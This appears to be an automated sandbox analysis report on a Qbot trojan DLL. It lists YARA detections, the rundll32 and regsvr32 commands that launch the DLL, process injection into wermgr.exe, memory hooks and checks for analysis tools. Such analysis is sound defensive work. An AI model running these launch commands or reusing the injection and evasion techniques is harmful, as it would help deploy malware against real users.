Source: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18
Source: 00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_92c67a6d reference_sample = 636e2904276fe33e10cce5a562ded451665b82b24c852cbdb9882f7a54443e02, os = windows, severity = x86, creation_date = 2021-02-16, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = 4719993107243a22552b65e6ec8dc850842124b0b9919a6ecaeb26377a1a5ebd, id = 92c67a6d-9290-4cd9-8123-7dace2cf333d, last_modified = 2021-08-23
Source: 00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Qbot_3074a8d4 reference_sample = c2ba065654f13612ae63bca7f972ea91c6fe97291caeaaa3a28a180fb1912b3a, os = windows, severity = x86, creation_date = 2022-06-07, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Qbot, fingerprint = c233a0c24576450ce286d96126379b6b28d537619e853d860e2812f521b810ac, id = 3074a8d4-d93c-4987-9031-9ecd3881730d, last_modified = 2022-07-18

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_009A29E9	3_2_009A29E9
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_009A35EE	3_2_009A35EE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_009A82A0	3_2_009A82A0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_009A63B0	3_2_009A63B0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_009A676F	3_2_009A676F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_044635EE	4_2_044635EE
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_044629E9	4_2_044629E9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_044682A0	4_2_044682A0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0446676F	4_2_0446676F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_044663B0	4_2_044663B0

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0099D9DE GetThreadContext,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,	3_2_0099D9DE
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0099D538 NtCreateSection,DefWindowProcW,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,lstrlenW,NtUnmapViewOfSection,NtClose,	3_2_0099D538
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0445D538 NtCreateSection,DefWindowProcW,RegisterClassExA,CreateWindowExA,DestroyWindow,UnregisterClassA,NtMapViewOfSection,NtMapViewOfSection,VirtualAllocEx,WriteProcessMemory,lstrlenW,NtUnmapViewOfSection,NtClose,	4_2_0445D538
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0445D9DE GetThreadContext,NtProtectVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,	4_2_0445D9DE

Source: pebbles.dat.dll.8.dr

Static PE information: No import functions for PE file found

Source: C:\Windows\SysWOW64\regsvr32.exe

Section loaded: sfc.dll

Jump to behavior

Source: pebbles.dat.dll.8.dr

Static PE information: Data appended to the last section found

Source: pebbles.dat.dll

ReversingLabs: Detection: 16%

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe "C:\Users\user\Desktop\pebbles.dat.dll"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\pebbles.dat.dll
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,DllRegisterServer
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,DllUnregisterServer
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,bewailable
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\System32\audiodg.exe C:\Windows\system32\AUDIODG.EXE 0x2ac
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\pebbles.dat.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,DllUnregisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,bewailable	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior

Source: C:\Windows\SysWOW64\wermgr.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Ikoqhruop

Jump to behavior

Source: classification engine

Classification label: mal96.troj.evad.winDLL@21/1@0/0

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0099E485 CoInitializeEx,CoInitializeSecurity,CoCreateInstance,SysAllocString,CoSetProxyBlanket,

3_2_0099E485

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0099BAF6 CreateToolhelp32Snapshot,Process32First,FindCloseChangeNotification,

3_2_0099BAF6

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1

Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\{8EEC79E5-2878-4F5F-A98E-FA689CEEF067}
Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\{446EBB9A-7BA4-4C43-A020-E163B2EC3F81}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5864:120:WilError_01
Source: C:\Windows\SysWOW64\wermgr.exe	Mutant created: \Sessions\1\BaseNamedObjects\{8EEC79E5-2878-4F5F-A98E-FA689CEEF067}

Source: pebbles.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: pebbles.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: pebbles.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: pebbles.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: pebbles.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: pebbles.dat.dll	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: pebbles.dat.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: pebbles.dat.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\cpp\out\out\desktop.pdb source: regsvr32.exe, 00000003.00000002.269410643.000000006D4B4000.00000080.00000001.01000000.00000003.sdmp, rundll32.exe, 00000004.00000002.269325200.000000006D4B4000.00000080.00000001.01000000.00000003.sdmp, rundll32.exe, 00000005.00000002.269366163.000000006D4B4000.00000080.00000001.01000000.00000003.sdmp, pebbles.dat.dll
Source:	Binary string: amstream.pdb source: wermgr.exe, 00000007.00000003.270246920.0000000004B21000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.269783536.0000000003761000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000009.00000003.270387540.0000000001081000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: amstream.pdbGCTL source: wermgr.exe, 00000007.00000003.270246920.0000000004B21000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.269783536.0000000003761000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000009.00000003.270387540.0000000001081000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_009AB066 push ebx; ret	3_2_009AB067
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_009AADB4 push cs; iretd	3_2_009AAE8A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_009AAEB6 push cs; iretd	3_2_009AAE8A
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_009ACB95 push esi; iretd	3_2_009ACB9A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0446B066 push ebx; ret	4_2_0446B067
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0446ADB4 push cs; iretd	4_2_0446AE8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0446AEB6 push cs; iretd	4_2_0446AE8A
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0446CB95 push esi; iretd	4_2_0446CB9A

Source: pebbles.dat.dll	Static PE information: section name: .reloc6s
Source: pebbles.dat.dll	Static PE information: section name: .hata
Source: pebbles.dat.dll.8.dr	Static PE information: section name: .reloc6s
Source: pebbles.dat.dll.8.dr	Static PE information: section name: .hata

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0099EF38 LoadLibraryA,GetProcAddress,

3_2_0099EF38

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\pebbles.dat.dll

Source: initial sample

Static PE information: section name: .data entropy: 7.0153365923230595

Source: C:\Windows\SysWOW64\wermgr.exe

File created: C:\Users\user\Desktop\pebbles.dat.dll

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 3472 base: 1353C50 value: E9 42 26 62 FF	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 4884 base: 1353C50 value: E9 42 26 AF FF	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: PID: 612 base: 1353C50 value: E9 42 26 F5 FF	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: wermgr.exe, 00000008.00000003.272109944.00000000037D8000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.271989769.00000000037D8000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.272071328.00000000037D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXE
Source: wermgr.exe, 00000008.00000003.272109944.00000000037D8000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.271989769.00000000037D8000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.272071328.00000000037D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-64.EXE
Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXEP
Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMPORTREC.EXE
Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE
Source: wermgr.exe, 00000008.00000003.272109944.00000000037D8000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.271989769.00000000037D8000.00000004.00000800.00020000.00000000.sdmp, wermgr.exe, 00000008.00000003.272071328.00000000037D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: PROC_ANALYZER.EXE
Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SNIFF_HIT.EXE
Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TCPDUMP.EXE
Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXE
Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSANALYZER.EXE
Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXEV
Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE
Source: wermgr.exe, 00000008.00000003.272137830.0000000005232000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE

Source: C:\Windows\SysWOW64\regsvr32.exe TID: 972	Thread sleep count: 134 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 5772	Thread sleep count: 111 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe TID: 1960	Thread sleep count: 34 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe TID: 5284	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe TID: 5608	Thread sleep count: 47 > 30	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_4-15168
Source: C:\Windows\SysWOW64\regsvr32.exe	Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes			graph_3-14019

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\wermgr.exe	Last function: Thread delayed

Source: C:\Windows\SysWOW64\rundll32.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_4-11550
Source: C:\Windows\SysWOW64\regsvr32.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes			graph_3-11545

Source: C:\Windows\SysWOW64\regsvr32.exe

